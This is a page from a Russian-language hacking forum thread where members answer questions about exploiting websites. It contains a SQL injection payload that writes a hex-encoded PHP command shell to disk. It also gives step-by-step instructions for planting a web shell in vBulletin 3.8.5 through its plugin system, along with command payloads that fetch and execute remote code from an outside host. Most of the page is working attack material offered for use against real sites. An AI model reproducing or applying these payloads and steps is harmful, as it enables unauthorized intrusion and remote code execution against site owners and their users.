HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1327 из 2438 « Первая < 327827122712771317 1323 1324 1325 1326 1327 1328 1329 1330 1331 13371377142718272327 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #13261  
Старый 18.05.2010, 03:00
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию
в дефолтной папке mysql (уже не помню какая) уже есть файл 1.php. Зачем тебе его искать? Можно в /tmp создать
PS в пм мне не надо писать, я не умею ломать сайты и никогда этим не занимался
 
Ответить с цитированием

  #13262  
Старый 18.05.2010, 10:31
Iceangel_
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
С нами: 10441826

Репутация: 1861


По умолчанию
Цитата:
ТОЕСТЬ я могу создавать файлы ?
да

Цитата:
где мне найти этот '1.php'
@@datadir

Цитата:
и как мне теперь проверить что у меня получилось ?
прочитать этот файл через load_file




P.S. Я на все твои вопросы ответил, ответь на 1 мой. Сколько нужно курить, чтобы составить этот запрос?
Цитата:
+union+select+load_file(0x3C3F7061737374687275282 45F4745545B27636D64275D293B3F3E)+into+outfile+'1.p hp'+--+
 
Ответить с цитированием

  #13263  
Старый 18.05.2010, 13:13
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами: 10692266

Репутация: 3486


По умолчанию
Цитата:
Сообщение от pinch  
Microsoft JET Database Engine error '80040e14'

значит бд у нас Microsoft JET Database. следовательно запросы передаются на низком уровне. =(((
Можно поподробнее про передачу запросов на низком уровне? Спасибо.
 
Ответить с цитированием

  #13264  
Старый 18.05.2010, 14:00
b82a
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
С нами: 8556372

Репутация: 127
По умолчанию
Цитата:
Сообщение от .Slip  
Можно поподробнее про передачу запросов на низком уровне? Спасибо.
Ну это, наверное, только при особых условиях
 
Ответить с цитированием

  #13265  
Старый 18.05.2010, 20:44
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
С нами: 9534473

Репутация: 18
По умолчанию
Какие есть способы заливки шела на vBulletin® Version 3.8.5
Последний раз редактировалось GOGA075; 18.05.2010 в 21:10..
 
Ответить с цитированием

  #13266  
Старый 18.05.2010, 21:38
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию
Цитата:
Сообщение от GOGA075  
Какие есть способы заливки шела на vBulletin® Version 3.8.5
а поиском кто будет пользоватся?
click
 
Ответить с цитированием

  #13267  
Старый 18.05.2010, 22:00
B0o0M
Участник форума
Регистрация: 03.08.2009
Сообщений: 103
С нами: 8827046

Репутация: 13
По умолчанию
Да хотелось бы знать что за низкий уровень, и как его использовать
 
Ответить с цитированием

  #13268  
Старый 18.05.2010, 22:04
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
С нами: 9534473

Репутация: 18
По умолчанию
пробовал так
Цитата:
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
cmd=eval(file_get_contents('http://site.ru/downloads/shell.txt'));
и
cmd=include($_GET['http://site.ru/downloads/shell.txt']);

нефига не работают!!
 
Ответить с цитированием

  #13269  
Старый 18.05.2010, 22:09
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию
Цитата:
Сообщение от GOGA075  
пробовал так

cmd=eval(file_get_contents('http://site.ru/downloads/shell.txt'));
и
cmd=include($_GET['http://site.ru/downloads/shell.txt']);

нефига не работают!!
не больше 60 кб - ничто не мешает вам туда вставить сразу код WSO
 
Ответить с цитированием

  #13270  
Старый 18.05.2010, 22:17
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
С нами: 9534473

Репутация: 18
По умолчанию
Цитата:
Сообщение от Pashkela  
не больше 60 кб - ничто не мешает вам туда вставить сразу код WSO
В таком случае форум выдает ошибку
(но шел востпроизводится)
Цитата:
Ваш запрос не может быть обработан, так как маркер безопасности отсутствует.

Если эта ошибка произошла после выполнения обычного действия и при повторном выполнении действий она не исчезает, то, пожалуйста, сообщите администратору об этом, не забыв указать максимально полное описание действий, которые привели к её возникновению.
 
Ответить с цитированием
Ответ
Страница 1327 из 2438 « Первая < 327827122712771317 1323 1324 1325 1326 1327 1328 1329 1330 1331 13371377142718272327 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.